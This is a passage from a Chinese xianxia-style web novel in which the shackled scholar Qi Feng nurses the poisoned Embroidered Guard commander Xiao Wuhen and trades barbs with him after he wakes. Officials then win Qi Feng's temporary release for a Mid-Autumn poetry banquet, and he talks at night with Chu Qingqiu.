赵明德看着门口的锦衣卫,忍不住叹了口气,走到齐枫身边,压低声音道:“齐贤弟,委屈你了。等萧大人醒过来,我一定好好跟他说说,把你的嫌疑彻底洗清,再把你手腕上的锁链去掉。”
齐枫笑了笑,摇了摇头,走到床边,轻轻为萧无痕掖了掖被角:“赵大人不必这么说。我救萧大人,不是为了让他感激我,也不是为了洗清嫌疑,只是不想看到幽冥教的阴谋得逞,不想让府城的百姓再受伤害。至于这锁链和看守……就当是暂时的历练吧,没什么委屈不委屈的。”
他顿了顿,拿起桌上的药碗,用勺子舀起一点药汁,放在嘴边吹了吹,试了试温度,才小心翼翼地喂给萧无痕。
药汁顺着萧无痕的嘴角缓缓流入喉咙,他似乎感觉到了苦味,眉头微微皱了一下,却没有其他反应。
赵明德看着齐枫细心的模样,心里更是愧疚。
齐枫如此心胸,却因为莫须有的嫌疑被戴上镣铐,甚至还要被看守起来,这对一个读书人来说,无疑是极大的侮辱。
可他现在也没有更好的办法,只能等萧无痕醒来,再做打算。
“齐贤弟,你也累了一整夜,要不要先休息一会儿?”赵明德关切地问道,“这里有我看着,要是萧大人有什么动静,我会立刻叫你。你放心,我不会让他出任何差错。”
齐枫摇了摇头,放下药碗,又伸手探了探萧无痕的脉搏。
脉搏虽然依旧微弱,但比之前平稳了许多,跳动的节奏也渐渐有力起来,这是个好兆头。
“我不困。”他说道,“萧大人现在还没脱离危险,我得守着他,万一毒素突然反复,也好及时处理。赵大人要是累了,可以先去休息,这里有我就行。”
赵明德还想说什么,却被齐枫的眼神制止了。
无奈之下,他只能点了点头:“那好吧。我去外面的偏房休息,要是有什么事,你就喊我。对了,我让人给你准备了早饭,一会儿就送过来,你多少吃点,别累垮了身体。”
齐枫嗯了一声,目光重新回到萧无痕的身上,开始仔细观察他的伤口。
伤口周围的皮肤已经不再发黑,原本外翻的皮肉也渐渐有了愈合的迹象,只是依旧红肿,需要按时换药。
他从怀里掏出之前剩下的艾草和朱砂,开始准备新的驱毒符,以备不时之需。
很快,衙役端着早饭走了进来。
一碗小米粥,一碟咸菜,还有两个白面馒头。
齐枫接过早饭,却没有立刻吃,而是先把粥放在桌上温着,继续为萧无痕检查身体。
直到确认萧无痕的呼吸、脉搏和伤口都没有异常,他才拿起馒头,慢慢吃了起来。
门口的锦衣卫看着齐枫的举动,眼神里的警惕渐渐淡了几分。
他们原本以为齐枫是个狡猾的“乾朝余孽”,会趁机耍花样,却没想到他竟然如此安分,一门心思都放在照顾萧大人身上,甚至连自己的早饭都顾不上吃。
“你说……这个齐枫,真的是乾朝余孽吗?”其中一名锦衣卫忍不住压低声音,对着同伴问道。
同伴皱了皱眉,摇了摇头:“不知道。萧大人说他是,那他应该就是。但你看他对萧大人这么上心,不像是装出来的。要是他真的跟幽冥教勾结,巴不得萧大人死,怎么会拼尽全力救他?”
“也是……”那名锦衣卫若有所思地点点头,“而且刚才赵大人也说了,他还帮着破了王家村的阵,救了不少百姓。要是他真的是坏人,怎么会做这些事?”
他们虽然是萧无痕的下属,却也有自己的判断,齐枫的所作所为,实在不像是一个“乾朝余孽”该做的事。
房间里,齐枫吃完早饭,又开始为萧无痕换药。
他小心翼翼地揭开伤口上的旧纱布,用温水轻轻擦拭伤口周围的皮肤,然后撒上磨好的天山雪莲粉,最后用干净的纱布包扎好。
就在这时,萧无痕突
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然哼了一声,手指微微动了一下。
齐枫立刻俯下身,轻声喊道:“萧大人,醒了?”
萧无痕的眼睛缓缓睁开一条缝,眼神依旧有些涣散,他看着齐枫,嘴唇动了动,却发不出声音,只是眉头皱得更紧了,像是在努力回想什么。
齐枫见状,连忙说道:“萧大人,你别着急,慢慢恢复力气。你中了幽冥教的噬魂毒混合腐骨散,现在毒素已经被控制住了,只要好好调理,很快就能恢复。你现在感觉怎么样?有没有哪里不舒服?”
萧无痕的目光在齐枫脸上停留了片刻,又看了看自己身上的伤口,眼神里闪过一丝复杂的情绪。
他张了张嘴,终于发出了微弱的声音:“水……水……”
“好,我这就给你倒水。”齐枫连忙起身,倒了一杯温水,小心翼翼地喂给萧无痕。
萧无痕喝了几口温水,喉咙里的干涩感缓解了许多,精神也稍微好了一些。
他看着齐枫手腕上的玄铁锁链,又看了看门口的锦衣卫,眉头皱了起来,
齐枫见他表情,笑了笑:“萧大人,我还是乾朝余孽的嫌疑犯,他们看守我,是怕我跑了,或者跟幽冥教勾结。不过你放心,我不会有事的,等你彻底康复,查明真相,我的嫌疑自然会洗清。”
萧无痕的眼神闪烁了一下,没有说话,只是闭上眼睛,似乎又陷入了沉睡。
门口的锦衣卫看到萧无痕醒了,立刻想要进来询问情况,却被齐枫用眼神制止了。
“萧大人刚醒,还很虚弱,需要休息,有什么事,等他彻底清醒了再说。”
两名锦衣卫对视一眼,最终还是停下了脚步,只是眼神依旧警惕地盯着房间里的动静。
他们一时之间对于齐枫也是拿捏不准,只不过不管怎么样,萧无痕的性命最重要,任何一点都马虎不得!
房间里再次恢复了平静,只有萧无痕平稳的呼吸声和齐枫偶尔换药的细微声响。
第两百六十四章 探望
日头渐高,齐枫靠在椅背上,闭目养神,手腕上的玄铁锁链随意地搭在扶手上,发出冰冷的微光。
萧无痕的情况稳定了许多,脸色不再是骇人的惨白,透出些许生机。
齐枫估算着,再喂两次药,这位指挥使大人就该能彻底清醒,进行简单的对话了。
一阵略显急促却刻意放轻的脚步声由远及近,停在了院门口,与守门的锦衣卫低声交谈起来。
齐枫唇角几不可察地勾了勾,来了。
果然,片刻后,赵明德的声音在门外响起,带着商量的口吻:“齐贤弟,南宫姑娘、柳姑娘她们听闻萧大人受伤,你在此看护,十分担忧,想来探望一下,你看……”
门口的锦衣卫校尉显然很为难:“赵大人,这……萧大人有令,齐枫不得与外人接触。这恐怕不合规矩。”
赵明德的声音提高了几分:“规矩是死的,人是活的!里面躺着的是锦衣卫指挥使,外面站着的是府城知府的侄女和本地士绅!她们是来探望伤者,表达关切,难道还能是来劫狱的不成?还是说,你们觉得本官会伙同她们对萧大人不利?”
“卑职不敢!”校尉的声音立刻矮了下去。
齐枫适时地睁开眼,扬声道:“让她们进来吧。萧大人情况稳定,需要静气,莫要在门外争执。”
门口的锦衣卫犹豫了一下,终究还是让开了通路。
房门被推开,南宫玥、柳若雪、楚清秋。周子陵、徐远几人鱼贯而入。
南宫玥一马当先,纱裙飘动,一眼就看到齐枫手腕上那副显眼的镣铐,杏眼中立刻漫上水汽和怒意。
“齐郎!”她几步冲到齐枫面前,想碰触他又怕弄疼他,最终只攥紧了拳头,“他们……他们怎么还敢给你戴着这个!你救了全城百姓,救了萧无痕的命!这群忘恩负义的东西!”
柳若雪亦是柳眉紧蹙,手中团扇忘了摇动,看着齐枫,带着心疼:“齐公子,你受委屈了。一夜未眠,还要被如此对待……”
楚清秋站在稍后位置,面纱之上的眼眸深邃,落在齐枫脸上,仔细打量着他的气色,见他虽戴镣铐却神色如常,眼底的忧色稍减,但看向床上昏迷的萧无痕时,目光则变得复杂难明。
周子陵是个暴脾气,直接指着门口的锦衣卫骂道:“狗眼看人低的东西!我齐兄要是想走,就凭这破链子和你们几个歪瓜裂枣拦得住?他留在这儿是道义,是慈悲!你们倒拿起鸡毛当令箭了!”
徐远相对沉稳,拉了一下周子陵,但看向锦衣卫的眼神也极为不善,他对着齐枫拱手:“齐兄,大恩不言谢。王家村之事,我们都听说了,若非你,后果不堪设想。”
齐枫看着这群真心关怀自己的朋友,心中微暖,脸上却依旧是那副浑不在意、甚至有点吊儿郎当的笑容,他晃了晃手腕,锁链哗啦作响。
“哎,我说你们,至于么?这玩意儿看着沉,其实戴着还挺凉快,提神醒脑。再说了,萧大人还没醒,我总得给他个面子,配合一下他下属的工作嘛。不然他醒来一看,哟,嫌疑犯跑了,多没面子。”
他这话说得轻松戏谑,瞬间冲淡了房间里凝重的气氛。
南宫玥被他气得哭笑不得,嗔怪地瞪了他一眼:“都什么时候了,还没个正形!”
柳若雪也以扇掩唇,无奈地摇了摇头,眼底却有了些许笑意。
她就知道,这人总有本事把天大的事情说得轻描淡写。
楚清秋眼底闪过一丝几不可察的柔和,快得无人捕捉。
周子陵拍着大腿笑骂:“我就服你齐兄这心态!天塌下来当被子盖!”
徐远也莞尔一笑,紧张的心情放松不少。
赵明德看着齐枫三言两语化解了众人的愤懑,心中更是赞叹不已,此子心胸气度,绝非池中之物。
齐枫笑呵呵地招呼众人:“行了行了,别都站着,坐坐坐。赵大人,麻烦让衙役再搬几张椅子来。萧大人这儿
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一时半会儿醒不了那么彻底,咱们小声聊会儿天,不碍事。”
他这般反客为主,自然得仿佛他才是这房间的主人,而不是一个戴着镣铐的被看守者。
门口的锦衣卫面面相觑,想阻止,又找不到合适的理由,毕竟赵明德还在那儿点头吩咐衙役去搬椅子呢。
椅子搬来,几人围坐下来,声音压低了些。
南宫玥看着齐枫,关切地问:“齐郎,萧大人的伤……真的无碍了?那幽冥教的妖人竟如此厉害?”
“毒比较麻烦,伤倒是其次。”齐枫端起桌上已经微凉的茶水喝了一口,“噬魂毒混了腐骨散,阴损得很。不过嘛,问题不大,再喝两副药,把余毒清清,以萧大人的根基,躺个十天半月又能活蹦乱跳地去抓人了。”
柳若雪轻声道:“此次多亏了齐公子。只是……那黑影究竟是什么人?竟能将萧大人伤至如此?”
“十有**是幽冥教的核心人物,保不齐就是个什么血月使者。”齐枫放下茶杯,手指无意识地在锁链上敲了敲,“手法老辣,邪术诡异,而且……跑得挺快。萧大人应该是追进陷阱里了,不然不至于吃这么大亏。”
周子陵凑近些,神秘兮兮地问:“齐兄,你说……这幽冥教搞出这么大动静,又是屠村又是布阵的,他们的老巢到底在哪儿?那个血月祭,到底想干嘛?”
齐枫瞥了他一眼,懒洋洋地往后一靠:“你问我,我问谁去?我又不是幽冥教教主肚子里的蛔虫。不过嘛,左不过那些见不得光的勾当,炼邪功、召邪神之类的。至于老巢,狡兔三窟,何况是这群见不得光的老鼠,肯定藏在哪个阴沟洞里呢。”
他话说得轻松,眼神却微不可察地扫过楚清秋。
楚清秋感受到他的目光,指尖微微一颤,垂下了眼眸。
她知道,齐枫这话半真半假,他掌握的线索恐怕远比说出来的多,而他看似随意的目光,或许是在提醒她什么。
第两百六十五章 彻底醒了
徐远沉吟道:“经此一役,幽冥教损失不小,想必会沉寂一段时间。但我们也不能放松警惕,需得尽快找出他们的踪迹。”
“徐兄说得在理。”齐枫点头,“所以啊,咱们的萧指挥使可得快点好起来,抓贼破案,他才是专业的嘛。”
他语气里带着戏谑,仿佛完全忘了自己还顶着“通敌”的嫌疑。
赵明德叹道:“但愿萧大人醒来后,能明辨是非,不再……”
他话未说完,意思却很明显。
齐枫笑了笑,没接这话茬,反而看向众人:“你们呢?府城里没再出什么乱子吧?锦绣阁还好?”
南宫玥连忙道:“阁里一切都好,有我们看着,你放心。只是百姓们都很关心你,不少人来打听消息,我们都按你之前说的,只道你在协助官府办案,暂时脱不开身。”
“嗯,这样就好。”齐枫满意地点点头,“低调点,省得麻烦。”
几人又低声交谈了片刻,多是府城近况和生意上的琐事,有意避开了敏感话题。
齐枫始终那副懒散模样,偶尔插科打诨,仿佛戴镣铐被看守的人不是他一样。
就在南宫玥忍不住又想抱怨那副镣铐时,门外突然传来一阵急促的脚步声,一名锦衣卫快步走到门口,脸上带着几分如释重负,难掩激动。
“赵大人,齐……齐公子!萧大人醒了!彻底醒了!说要立刻见你们!”
那锦衣卫校尉的声音虽刻意压低,但在寂静的房间里依旧清晰可闻,如同投入平静湖面的一颗石子,瞬间激起了层层涟漪。
房间内原本略显松弛的气氛骤然绷紧。
南宫玥、柳若等人脸上的关切和轻松瞬间凝固,取而代之的是一丝不易察觉的紧张。
周子陵下意识地坐直了身体,徐远目光微凝,楚清秋垂下的眼睫轻轻颤动了一下。
赵明德更是深吸一口气,神色变得无比严肃。
萧无痕在这个节骨眼上彻底清醒,其态度将直接决定齐枫接下来的处境。
唯有齐枫,仿佛听到的不是什么重大消息,只是听说茶煮好了一般。
他甚至还慢条斯理地将杯中最后一点凉茶饮尽,这才放下茶杯,手腕上的镣铐随之发出“叮”的一声轻响,在落针可闻的房间里格外清晰。
他抬眼,看向门口那神色紧张的校尉,嘴角勾起那抹惯有的弧度:“哦?萧大人精神头这么足?刚醒就要见客?看来我这大夫当得还不赖嘛。”
他这话说得轻松,却让那校尉脸色更显尴尬,连忙躬身道:“齐公子医术高明,萧大人能这么快清醒,全赖公子妙手回春。只是…只是大人他……”
校尉似乎不知该如何描述萧无痕此刻的状态和意图,话语卡在了那里。
“行了,知道了。”齐枫摆摆手,打断了他的为难,慢悠悠地站起身,活动了一下因为久坐而有些僵硬的肩膀,那玄铁锁链随着他的动作哗啦作响。
“病患最大,既然萧大人召见,那咱们就去看看吧。”
他这般坦然自若,反倒让南宫玥等人更加担心。
南宫玥忍不住上前一步道:“齐郎,我陪你一起去。”
柳若雪也轻声道:“是啊,齐公子,我们……”
齐枫回头,冲她们笑了笑,眼神里是令人安心的笃定:“没事儿,就是病人醒了,大夫去复查一下。你们在这儿等着就好,人多了反而吵着萧大人休息。”
他的目光在楚清秋脸上短暂停留了一瞬,微微颔首,示意她安心。
赵明德见状,也定了定神,开口道:“齐贤弟说得是,我们先过去看看情况。诸位暂且在此等候消息。”
他身为知府,此刻必须稳住场面。
齐枫率先朝门外走去,赵明德紧随其后。
那锦衣卫校尉连忙侧身让开通路,看着齐枫挺拔却戴着镣铐的背影,眼神复杂至极。
穿过回廊,来到萧无痕养伤的房间门口。
这里守卫更加森严,四名锦衣卫按刀而立,神色肃穆。
见到齐枫和赵明德过来,他们目光齐刷刷落在齐枫手腕的镣铐上,眼神
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中充满了警惕、审视,以及一丝难以掩饰的困惑。
就是这个戴着沉重镣铐的年轻人,昨夜以一己之力将他们重伤垂死的上司从鬼门关拉了回来。
房门被校尉轻轻推开,一股浓郁的药味混杂着淡淡的血腥气扑面而来。
房间内光线略显昏暗,萧无痕半靠在床头,身上盖着锦被,脸色依旧苍白,嘴唇干裂。
但那双眼睛已经恢复了往日的神采,锐利、冰冷,如同鹰隼般死死锁定在走进门的齐枫身上。
他的目光先是扫过齐枫的脸,然后重重地落在那副玄铁镣铐上,瞳孔几不可察地收缩了一下,随即又恢复成一潭深不见底的寒水,看不出任何情绪。
赵明德连忙上前一步,拱手道:“萧大人,您醒了!感觉如何?真是万幸!”
萧无痕没有立刻回应赵明德,他的目光依旧胶着在齐枫身上,声音因为受伤和久未开口而显得异常沙哑低沉。
“你救了我?”
齐枫走到床前不远处站定,很是随意地耸了耸肩,镣铐又是一阵响动。
“不然呢?萧大人以为自己是睡一觉就自然痊愈了?幽冥教的噬魂毒加腐骨散,味道不错吧?”
这话说得近乎挑衅,带着他特有的玩世不恭。
赵明德在一旁听得冷汗都快下来了,拼命给齐枫使眼色,让他收敛点。
萧无痕的眉头猛地皱紧,胸口微微起伏,似乎被齐枫的态度气到了,牵动了伤口,让他发出一声压抑的闷哼。
旁边的亲卫立刻上前一步,紧张地看着他。
齐枫却像是没看见,反而自顾自地拉过一张椅子,大马金刀地坐了下来,完全没把自己当外人,也没把床上那位权势滔天的锦衣卫指挥使当需要敬畏的上官。
“萧大人还是少动气为好。”齐枫翘起二郎腿,脚踝上的铁链搭在膝盖上,“伤口崩开了还得重新缝,药也挺贵的,都是赵大人掏的府库银子,能省则省嘛。”
赵明德:“……”
他现在恨不得捂住齐枫的嘴。
第两百六十六章 加鸡腿
萧无痕死死盯着齐枫,半晌,那紧绷的下颌线似乎松动了一丝。
他缓缓吐出一口浊气,声音依旧冰冷,却不再那么充满攻击性:“多谢。”
这两个字从他牙缝里挤出来,显得异常艰难生硬。
让他向一个自己亲手抓起来、并且极度怀疑的“钦犯”道谢,无疑是极其打脸的事情。
但他萧无痕再如何猜忌多疑,行事狠辣,终究不是是非不分之人,救命之恩是事实。
齐枫似乎有些意外地挑了挑眉,随即笑了起来,笑容灿烂,仿佛听到了什么有趣的事情。
“哟,萧大人还会说谢谢呢?真是太阳打西边出来了。不过不客气,救死扶伤,医者本分嘛。”
“当然,主要也是怕您要是真有个三长两短,您手下这群弟兄非得把我生吞活剥了不可,我这小身板可扛不住。”
他三言两语,看似插科打诨,却轻巧地将这沉重的“恩情”拨开,仿佛只是一桩无足轻重、甚至带点自保意味的交易。
萧无痕显然不习惯这种谈话方式,又被噎了一下,脸色更白了几分。
他闭了闭眼,似乎在积蓄力气,再次睁开时,目光中的锐利重新凝聚:“密道里……发生了什么?那个黑影……”
他终于问到了关键。
赵明德也立刻屏息凝神,紧张地等待答案。
齐枫摊了摊手,一脸无辜:“这您得问您自己啊萧大人。我一直在外面破阵收拾烂摊子,是您自己追进去的。怎么,里面场面太刺激,忘了?”
“齐枫!”萧无痕的声音陡然拔高,带着怒意,却又因虚弱而显得有些中气不足,“本官在问你话!”
“大人息怒!”赵明德赶紧打圆场,“齐贤弟,萧大人刚醒,记忆或许有些混乱,你好好说。”
齐枫见好就收,收起玩笑的神色:“好吧好吧。具体情况我确实不清楚。我只看到您追着那黑影进了祠堂后面的密道,然后里面就打起来了,动静不小。再后来,您就一身是伤地出来了,差点交代在村口。至于里面具体发生了什么,那黑影用了什么手段,只有您自己最清楚。”
他顿了顿,补充道:“不过,能把您伤成这样的,肯定不是普通角色。用的毒是幽冥教高层才有的配方,身手嘛……看您这伤势,至少也是个宗师境往上的邪道高手,而且极其擅长利用地形和邪术暗算。”
萧无痕沉默着,眼神变幻不定,显然在回忆密道中的经历,那绝不是愉快的记忆。
他的手指无意识地攥紧了被角,手背上青筋隐现。
良久,他才缓缓开口,声音沙哑而凝重:“他……不止一个人。密道里有埋伏……至少还有两个鬼影卫接应。他们的邪术很诡异,能融入阴影,防不胜防。我中了调虎离山之计,被引到了一处陷阱,那里……提前布置了毒阵。”
他断断续续地描述着,虽然简洁,却足以想象出当时的凶险。
以萧无痕的身手和经验,竟被逼到如此绝境,可见对方谋划之周密和实力之强悍。
“那黑影……自称血月尊者座下幽影使。”萧无痕吐出这个名号时,眼神中的寒意几乎能冻**,“他……夺走了一样东西。”
“什么东西?”赵明德急忙追问。
萧无痕却抿紧了嘴唇,摇了摇头,似乎不愿多说,或者那涉及锦衣卫的机密。
齐枫眸光微闪,血月尊者,幽影使……这名头倒是响亮。
他看似随意地接话道:“能让一位指挥使拼命追夺,甚至不惜闯入陷阱的,肯定不是寻常物件。莫非……和幽冥教这次搞的血月祭有关?或者,是能证明我清白的什么关键证据?”
他最后一句问得轻描淡写,房间内瞬间安静下来。
赵明德紧张地看着萧无痕。门口的锦衣卫们也竖起了耳朵。
萧无痕猛地抬头,目光如电般射向齐枫,齐枫则坦然回视,脸上还是那副“我就是随便猜猜”的无辜表情。
两人目光在空中交锋,无声地较量着。
萧无
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痕发现,自己依旧看不透这个年轻人。
他看似散漫不羁,口无遮拦,但每一句话似乎都别有深意,总能精准地戳中要害。
他救了自己,却又毫不掩饰对自己的“不敬”,他身陷囹圄,却仿佛一切尽在掌握。
他追问证据,却又摆出一副不在乎的模样。
这种矛盾,让萧无痕心中的猜忌如同野草般疯长,但另一边,理性的声音和刚刚欠下的救命之恩,又让他无法再像之前那样武断。
沉默了足足有十几息的时间,萧无痕才缓缓开口,声音干涩:“那东西,与你无关。”
他避开了齐枫的问题,但语气却不再像之前那样斩钉截铁地认定齐枫就是余孽。
齐枫笑了笑,似乎并不意外这个答案,也懒得追问,只是站起身,拍了拍衣服上并不存在的灰尘。
“行吧,与我无关就无关。萧大人您好好休息,按时吃药换药,别瞎琢磨,也别动不动就生气,不利于伤口愈合。赵大人,这儿没我事儿了吧?我能回去继续被看守了吗?站久了还挺累的。”
他这态度,仿佛刚才那段暗流涌动的交锋根本不存在。
赵明德一时不知该如何接话,只能看向萧无痕。
萧无痕看着齐枫那副急着回去“休息”的模样,胸口又是一阵发闷。
他挥了挥手,极其疲惫地闭上眼睛,从牙缝里挤出两个字:“下去。”
“得令。”齐枫笑嘻嘻地应了一声,转身就往外走,镣铐声叮当作响,悠闲得像是刚逛完花园。
走到门口,他像是突然想起什么,停下脚步,回头对那锦衣卫校尉道:“对了,兄弟,麻烦跟厨房说一声,中午给我那屋送饭的时候,多加个鸡腿。昨晚上出力多,得补补。”
校尉:“是,齐公子。”
他的表情堪称精彩。
齐枫这才心满意足地走了出去,房间内,萧无痕缓缓睁开眼,望着齐枫离开的背影,目光深沉如夜,无人能窥知他心中究竟在思量什么。
第两百六十七章 暂时释放
赵明德暗自松了口气,看来,最坏的情况暂时没有发生。
齐枫回到那间充当临时看守所的厢房时,南宫玥等人立刻围了上来,脸上写满了担忧。
“齐郎,萧无痕他没为难你吧?”南宫玥急切地打量着他,生怕他少了根头发。
“他能怎么为难我?”齐枫浑不在意地晃回椅子边,舒舒服服地坐下,甚至把戴着镣铐的脚搁到了旁边的小几上。
“一个刚捡回半条命的病号,还能跳起来咬我不成?无非就是问问情况,顺便纠结一下该怎么面对我这个救命恩人兼头号嫌疑犯的矛盾身份。”
他说得轻巧,周子陵却听得直拍大腿:“齐兄,你是这个!”他比了个大拇指,“敢这么跟阎王似的萧指挥使说话的,满府城找不出第二个!”
柳若雪掩唇轻笑:“看来萧大人是拿齐公子没办法了。”
楚清秋虽未说话,但看着齐枫安然无恙,眼神也柔和了许多。
徐远则更关心实质问题:“齐兄,那关于你的嫌疑……萧大人可有什么说法?”
齐枫耸耸肩:“他能有什么说法?证据又不会因为我救了他一命就凭空消失或出现。不过嘛,态度总算没那么硬得硌牙了。估摸着这会儿正躺在床上一边忍痛一边天人交战呢。”
正说笑着,门外再次传来脚步声,这次来的却是赵明德和卢正淳。
卢正淳身体尚未完全康复,脸色还有些苍白,需由一名衙役稍稍搀扶,但精神看起来不错。
“卢大人,您怎么来了?”齐枫有些意外,放下脚站起身。
众人也纷纷行礼。
卢正淳摆摆手,声音虽弱却带着笑意:“躺不住了。听说齐公子妙手回春,把萧大人从鬼门关拉了回来,老夫怎能不来看看我们府城的大功臣?顺便,也是有事相商。”
赵明德在一旁笑道:“是啊,齐贤弟,你这次可是立了大功。萧大人那边……态度确实缓和了不少。”
他说得比较含蓄,但众人都听明白了其中的意味,心情不由更松快了些。
几人重新落座。卢正淳看向齐枫手腕脚踝的镣铐,叹了口气:“只是委屈齐公子了,还戴着这劳什子。”
“嗨,戴着呗,挺凉快的。”齐枫浑不在意,“二位大人联袂而来,肯定不只是来夸我几句的吧?有啥事直说,能办的我考虑考虑,不能办的……我也听着。”
赵明德和卢正淳相视一笑。赵明德开口道:“齐贤弟快人快语,那我们就直说了。眼看着再过几日便是中秋佳节了。往年中秋,府城皆有庆典,今年虽多事,但佳节不可废,反而更应借此机会冲淡连日来的紧张气氛,凝聚民心。”
卢正淳接过话头,咳嗽了两声,继续道:“是啊。经王家村一事,百姓心中难免惶惶。我与赵大人商议,此次中秋庆典更需办得热闹些,地点就定在城中最大的醉月楼,届时会邀请各界人士与民同乐。许多百姓听闻后,都纷纷向我们提议……”
他说到这儿,顿了顿,目光含笑地看着齐枫。
齐枫挑眉,已经有了预感:“提议什么?总不会是提议让戴着镣铐的我去表演个铁链舞吧?”
南宫玥忍不住嗔了他一眼:“齐郎!”
赵明德哈哈一笑:“那倒不是。百姓们都说,齐公子乃今科春闱榜首,文采斐然,更是屡次帮助府城化解危机,他们希望在中秋佳宴上,能听到齐公子即席赋诗,一展才情,也好让大伙儿都沾沾才气与喜气,去去晦气。”
“哦?”齐枫摸了摸下巴,眼神里闪过玩味,“让我作诗?他们不怕我这乾朝余孽的嫌疑煞了风景?”
“齐公子说笑了。”卢正淳正色道,“百姓心中自有杆秤。你为他们做的事,他们都记着呢。此次呼声甚高,几乎成了此次中秋宴最大的期待之一。故而,我与赵大人方才也去寻了萧大人。”
房间内顿时安静下来,所有人都屏息看向赵明德和卢正淳。
这才是关键!
赵明德点
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头,带着几分如释重负:“我们向萧大人**利害,中秋乃团圆佳节,普天同庆,齐贤弟之事尚无定论,且于府城有莫大功劳,若此时仍身陷囹圄,戴着刑具,恐寒了百姓之心,也与佳节氛围格格不入。”
“我们以知府与按察使的名义共同担保,恳请萧大人允许齐贤弟暂时解除拘禁,参加中秋宴后再议后续。”
“萧大人虽未完全松口,但终究……”卢正淳笑了笑,“或许是念及救命之恩,或许是顾及民心所向,他最终点头应允了。同意暂解镣铐,让齐公子回锦绣阁安心准备中秋诗作,直至中秋宴结束。期间,锦衣卫会暗中留意,但不再明面看守。”
“真的?!”南宫玥第一个惊喜地叫出声,美眸中光彩涟涟。
柳若雪也面露欣喜:“太好了!”
周子陵和徐远相视一笑,重重松了口气。
楚清秋看着齐枫,眼底深处也掠过一丝轻松。
虽然只是暂时,但能离开这拘束之地,总是好的。
齐枫本人倒是显得最平静的那个,他只是挑了挑眉,晃了晃手腕:“意思是,这玩意儿能摘了?终于能好好洗个澡了,戴着它搓澡都不得劲。”
他这反应让赵明德和卢正淳都哭笑不得。
卢正淳笑道:“齐公子真是……豁达。既然如此,事不宜迟,这就除了吧。也好让齐公子早日回阁中歇息准备。”
赵明德立刻示意门口的衙役。
衙役上前,拿出钥匙,恭敬地为齐枫解开了手脚上的玄铁镣铐。
冰冷的金属脱离皮肤的感觉传来,齐枫活动了一下手腕脚踝,发出轻微的咔哒声,脸上露出一丝真正的惬意:“唔,是轻松多了。多谢二位大人奔走。”
虽然只是暂时的自由,但这份人情他记下了。
赵明德摆手:“齐贤弟客气什么。你为府城做的,远比我们做的多。只望中秋宴上,贤弟能一展才华,不负众望,也让这中秋佳节真正成为一扫阴霾之时。”
第两百六十八章 夜谈
“压力这么大啊?”齐枫故作苦恼地揉了揉眉心,“要是作得不好,岂不是让全城百姓失望?到时候萧大人会不会立马又把镣铐给我铐上?”
卢正淳笑道:“以齐公子之才,必是锦上添花,何来失望之说?我等对公子有信心。”
又寒暄了几句,赵明德和卢正淳便起身告辞,他们还需去安排中秋宴的其他事宜。
两位大人一走,房间里的气氛顿时彻底活跃起来。
“太好了!齐兄,你总算能出来了!”周子陵兴奋地一拍齐枫的肩膀。
“走走走!回锦绣阁!今日定要好好庆祝一番!”徐远也笑道。
南宫玥和柳若雪更是满脸喜色,张罗着要回去准备酒菜。
楚清秋轻声开口:“我先回去让厨房准备些解乏的汤浴和清淡小菜。”
一行人簇拥着齐枫,浩浩荡荡地离开了府衙。走出那扇朱红大门,沐浴在午后温暖的阳光下,呼吸着自由的空气,尽管只是暂时的,齐枫还是舒服地眯起了眼,伸了个大大的懒腰。
回到锦绣阁,果然又是一番热闹。
阁中伙计丫鬟们见东家归来,皆是欢喜异常,纷纷上前问安。
小荷更是蹦蹦跳跳地跑过来,叽叽喳喳说个不停。
南宫玥早已吩咐下去,准备了丰盛的酒席。
当晚,锦绣阁内灯火通明,笑语喧哗,众人围坐一桌,既是给齐枫接风洗尘,也是预祝中秋。
酒过三巡,菜过五味,气氛愈加热烈。
周子陵端着酒杯,凑到齐枫身边,挤眉弄眼地问:“齐兄,这中秋眼瞅着就到了,醉月楼那边可是万众期待啊。你悄悄跟兄弟透个底,这中秋诗……有没有啥惊世骇俗的佳句憋在心里了?让兄弟们先听听,过过瘾呗?”
他这一问,桌上所有人都安静了下来,目光齐刷刷地聚焦在齐枫身上,充满了好奇与期待。
南宫玥、柳若雪、楚清秋、徐远,甚至连旁边伺候的小荷都竖起了耳朵。
是啊,以齐枫之才,即席赋诗定然不在话下。
但此次中秋意义非凡,百姓期望甚高,他会作出一首怎样的诗呢?
齐枫放下酒杯,环视了一圈众人期待的目光,脸上那抹熟悉的、略带神秘和戏谑的笑容又浮现了出来。
他故意卖了个关子,慢悠悠地夹了一筷子菜,咀嚼咽下后,才在众人快要按捺不住的注视下,悠然开口:
“急什么?好饭不怕晚,好诗……自然也得等到该它出现的时候。”
他眸光清亮,仿佛早已胸有成竹,只是等待一个最合适的时机,惊艳全场。
“至于中秋之夜嘛……”他拖长了语调,微微一笑,
“到时候,你们自然就知道了。”
中秋宴前的短暂自由,让锦绣阁的氛围轻松了不少。
白日的喧嚣过后,夜色渐深,阁中大部分灯火已熄,只余下回廊和庭院中的几盏风灯,在秋夜的微风中轻轻摇曳,投下斑驳朦胧的光影。
齐枫并未睡下。
他披着件外袍,独自坐在自己小院的石桌旁,桌上放着一壶清茶,两只茶杯,却并未斟满,仿佛在等什么人。
月光如水,洒在他身上,褪去了白日的嬉笑不羁,侧脸在清辉下显得有些沉静,甚至带着一丝不易察觉的深思。
脚步声轻轻响起,很轻,却并未刻意隐藏。
楚清秋的身影出现在月洞门下,依旧是一身素雅的衣裙,面纱在夜风中微微拂动。
她看到独坐的齐枫,脚步顿了顿,似乎有些意外他还未休息,又仿佛早已料到他会在这里。
“还没睡?”齐枫并未回头,只是抬手,将对面那只空杯斟了七分满,推了过去。
茶水注入杯中的声音在寂静的夜里格外清晰。
楚清秋缓步走近,在他对面的石凳上坐下,却没有去碰那杯茶。
她看着他,目光透过薄纱,复杂难辨:“你早知道我会来?”
齐枫这才转过头,唇角弯起惯有的弧度,眼神
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在月光下显得格外清亮:“不然呢?我这刚出笼,你这位大忙人总得抽空来视察一下合作伙伴的精神状态吧?看看我有没有被关傻,或者被萧无痕吓破胆。”
他的语气依旧带着调侃,但楚清秋却听出了其下的了然。
她沉默了片刻,声音压低了些,带着一丝难以掩饰的疲惫和凝重:“王家村的事,我都听说了。你又冒险了。”
“凑巧,凑巧。”齐枫摆摆手,端起自己那杯茶抿了一口,“总不能真看着那黑雾把府城吞了吧?那我这生意还做不做了?再说了,救萧无痕那也是为了咱们的大计嘛,他要是**,换个更轴的指挥使来,咱们更麻烦。”
他总是有无数看似合理又玩世不恭的理由,将那些惊心动魄和深谋远虑轻描淡写地掩盖过去。
